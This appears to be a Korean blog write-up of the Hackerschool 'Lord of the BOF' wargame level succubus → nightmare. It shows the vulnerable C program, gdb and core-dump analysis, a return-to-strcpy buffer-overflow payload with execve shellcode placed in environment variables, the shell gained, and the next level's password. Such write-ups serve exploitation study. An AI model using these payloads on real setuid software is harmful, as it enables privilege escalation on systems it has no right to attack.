[lob] 해커스쿨 succubus -> nightmare 풀이

l 해커스쿨 succubus 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

succubus 문제의 아이디인   succubus 와 password인    here to stay  을 입력하여 succubus의 유저로 접속합니다.

 

 

 

[succubus@localhost succubus]$ cat nightmare.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include  <stdio.h>
#include  <stdlib.h>
#include  <string.h>
#include  <dumpcode.h>

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}

 

 

 

힌트 코드를 분석해보겠습니다.

1. argc는 2 이상이어야 합니다.

2. argv[1]+44는 strcpy 주소와 같아야 합니다. 즉 ret 부분에 strcpy 주소가 들어가야 합니다.

3. argv[1]의 내용이 buffer에 복사됩니다.

4. return + 4부터 4byte의 내용이 A로 채워집니다.

코드 분석 결과 ret 부분에 strcpy가 들어가기 때문에 ret + 4에는 strcpy의 return 영역이라는 것을 알 수 있습니다. 하지만 코드 끝부분에서 strcpy return 영역이 A로 채워집니다. 이번 문제는 strcpy의 기능을 이용한 문제입니다. 아래 그림을 통해 방법을 알아보겠습니다.

 

 

 

1. main의 return 부분에 strcpy의 주소를 넣습니다.

2. return + 4는 strcpy의 return 영역이 될 것입니다.

3. strcpy는 dest와 src 총 두 개의 파라미터를 받습니다. strcpy(dest, src)이기 때문에 뒤에 있는 src가 stack에 먼저 push 됩니다. ebp + 8 위치부터 인자가 들어가게 됩니다.

 

strcpy는 src의 문자열을 dest에 복사하는 것입니다. 따라서 dest에 strcpy return의 주소를 src에 셸 코드 위치의 주소를 넣어준다면 strcpy return 영역에 셸 코드 위치의 주소가 복사될 것입니다. 코드를 보며 문제를 마저 풀어보겠습니다.

 

 

 

[succubus@localhost succubus]$ bash2
[succubus@localhost succubus]$ export goin1=`python -c 'print "\xff\xff\xff\xff"'`
[succubus@localhost succubus]$ export goin2=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

 

환경 변수를 이용하여 셸 코드를 저장해주도록 하겠습니다. goin2에는 셸 코드가 goin1에는 goin2의 주소가 들어가게 되는데 아직 goin2의 주소를 모르기 때문에 \xff\xff\xff\xff로 지정해주었습니다. 

 

 

 

[succubus@localhost succubus]$ gdb succubus
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...

(gdb) disas main
Dump of assembler code for function main:
0x80486b4 <main>:
:       push   %ebp 
0x80486b5 <main+1>:     mov    %esp,%ebp
0x80486b7 <main+3>:     sub    $0x2c,%esp
...
0x804871e <main+106>:   lea    0xffffffd8(%ebp),%eax
0x8048721 <main+109>:   push   %eax
0x8048722 <main+110>:   call   0x8048410 <strcpy>

 

 

 

gdb 확인 결과 stack에는 44byte가 할당되고, buffer는 ebp - 40부터 시작된다는 것을 알 수 있습니다.

이 문제를 풀기 위해 알아야 할 주소는 strcpy의 주소, strcpy의 return 주소, goin1의 주소, goin2의 주소입니다. 

strcpy 주소 같은 경우는 0x8048410라는 것을 알 수 있습니다. 

 

 

 

(gdb) b *main+115
Breakpoint 1 at 0x8048727
(gdb) r `python -c 'print "A"*44+"\x10\x84\x04\x08"'`
Starting program: /home/succubus/succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"'`

Breakpoint 1, 0x8048727 in main ()
(gdb) x/40x $esp
0xbffffac4:     0xbffffad0      0xbffffc5a      0x08048410      0x41414141
0xbffffad4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffae4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaf4:     0x41414141      0x41414141      0x08048410      0x00000000
0xbffffb04:     0xbffffb44      0xbffffb50      0x40013868      0x00000002
0xbffffb14:     0x08048420      0x00000000      0x08048441      0x080486b4
0xbffffb24:     0x00000002      0xbffffb44      0x08048350      0x0804877c

 

 

 

strcpy 실행문 다음에 breakpoint를 잡고 위와 같이 실행 시켜 보았습니다.  파란색 네모 부분이 strcpy의 주소이고, 빨간색 네모 부분이 strcpy의 return 영역입니다. return 영역의 주소는 0xbffffb00입니다.

 

 

 

[succubus@localhost succubus]$ ./succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"CCCC"+"DDDD"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD
Segmentation fault (core dumped)

[succubus@localhost succubus]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./succubus AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD'.
Program terminated with signal 11, Segmentation fault.
#0  0x400767c1 in ?? ()
(gdb) x/40x $esp-40
0xbffffa10:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa30:     0x41414141      0x41414141      0x4000ae60      0x41414141
0xbffffa40:     0x41414141      0x43434343      0x44444444      0x40013800
0xbffffa50:     0x00000002      0x08048420      0x00000000      0x08048441
...

(gdb) x/1000s $esp
0xbffffe15:      "goin1=ÿÿÿÿ"
(gdb) x/s 0xbffffe1b
0xbffffe1b:      "ÿÿÿÿ"

(gdb) x/1000s $esp
0xbffffe3f:      "goin2=", '\220' , "1ÀPh//shh/bin\211ãPS\211á\211°\013Í\200"
(gdb) x/s 0xbffffe45
0xbffffe45:      '\220' , "1ÀPh//shh/bin\211ãPS\211á\211°\013Í\200"

 

 

 

core dumped를 띄우기 위해 위의 페이로드로 실행시켜주었습니다. BBBB는 strcpy의 return, CCCC는 dest, DDDD는 src입니다.

 

core 파일 분석 결과입니다.

1. strcpy의 return 주소는 0xbffffa40

2. goin1의 주소는 0xbffffe15이고, 변수명을 뺀 나머지의 주소는 0xbffffe1b(최종 주소)

3. goin2의 주소는 0xbffffe3f이고, 변수명을 뺀 나머지의 주소는 0xbffffe45(최종 주소)

 

goin2의 주소를 알았으니까 goin1에 goin2의 주소를 다시 넣고, 아래의 페이로드로 실행시켜보겠습니다.

 

 

| 페이로드

./succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x40\xfa\xff\xbf"+"\x1b\xfe\xff\xbf"'`

 

 

 

[succubus@localhost succubus]$ export goin1=`python -c 'print "\x45\xfe\xff\xbf"'`

[succubus@localhost succubus]$ ./succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x40\xfa\xff\xbf"+"\x1b\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB@úÿ¿ÿ¿
bash$

[succubus@localhost succubus]$ rm succubus
[succubus@localhost succubus]$ ln -s nightmare succubus
[succubus@localhost succubus]$ ./succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x40\xfa\xff\xbf"+"\x1b\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB@úÿ¿ÿ¿
bash$ id
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)
bash$ my-pass
euid = 518
beg for me

 

 

 

페이로드를 실행시켜보니 셸을 취득했습니다. 기존의 succubus 파일을 삭제하고, 심볼릭 링크를 이용하여 다시 생성해주었습니다. 그리고나서 위의 페이로드를 재실행하면 다음 레벨 유저인 nightmare의 password를 확인할 수 있습니다.

 

 

 

l nightmare 비밀번호

더보기

euid = 518 
beg for me

 

이 글을 공유하기

댓글

Designed by JB FACTORY